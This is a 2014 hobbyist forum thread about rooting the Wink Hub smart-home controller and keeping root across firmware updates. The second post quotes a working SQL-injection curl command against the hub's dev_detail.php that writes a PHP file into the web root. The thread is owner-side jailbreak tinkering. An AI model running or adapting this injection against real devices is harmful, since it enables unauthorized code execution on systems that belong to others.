Started By
Message

re: Official WINK HUB Home Automation thread

Posted on 12/10/14 at 9:52 am to
Posted by CAD703X
Liberty Island
Member since Jul 2008
78315 posts
Posted on 12/10/14 at 9:52 am to
quote:

If i root the long way will this app be any use after that?


yes. but there are 2 things you need to consider (as i understand it)

1. root using the long way provides root access but you will need to roll back your wink app on your phone to add devices since they added a check in the phone app to not add devices if you're not running v .33

2. root using long way and manually update the firmware to .33 (a little more tricky) and you're good to go.

The other options (neither of which i've confirmed) are:

3. install it as normal but don't update. if this works and you don't lose root, you might still have to run the older apk to add devices because you're in the same situation as #1

4. wait for BLINK to install the rooting scripts automatically and possibly also update the firmware parts necessary to get you current.


4 is the riskiest because you're at the mercy of a single developer and who knows if he might decide to simply abandon the project.

If #3 works, that will tide everyone here over (its a simple matter to swap APKs to add new devices and then update to the current one) until the tools get a little less funky.


I would normally have a write up by now but the baby has been keeping me very busy when I'm at home and I don't have my wink at work to play with.
Posted by CAD703X
Liberty Island
Member since Jul 2008
78315 posts
Posted on 12/10/14 at 3:42 pm to
BOOM GOES THE DYNAMITE!

quote:

Eureka! I’ve pwned the patched wink hub using a SQL injection! It remains to be seen whether or not I can post the actual exploit here, I may have to post it elsewhere then link back to this.

But–if you lost root by updating incorrectly, you’ll be able to get back in very shorty… Trust me, it’s easier than the process of safely updating!


This means if you guys want to start playing with your hubs and are afraid of losing root by updating, you don't have to worry.

Now WINK may get wise at some point and close this exploit down but thats not happening with the current firmware.



preserved for the future

quote:

curl -d id="1 or 1=1';ATTACH DATABASE '/var/www/exploit.php' AS lol; CREATE TABLE lol.pwn (t TEXT); INSERT INTO lol.pwn (t) VALUES ('');--" http://10.0.0.88/dev_detail.php
This post was edited on 12/10/14 at 3:45 pm
first pageprev pagePage 1 of 1Next pagelast page
refresh

Back to top
logoFollow TigerDroppings for LSU Football News
Follow us on Twitter, Facebook and Instagram to get the latest updates on LSU Football and Recruiting.

FacebookTwitterInstagram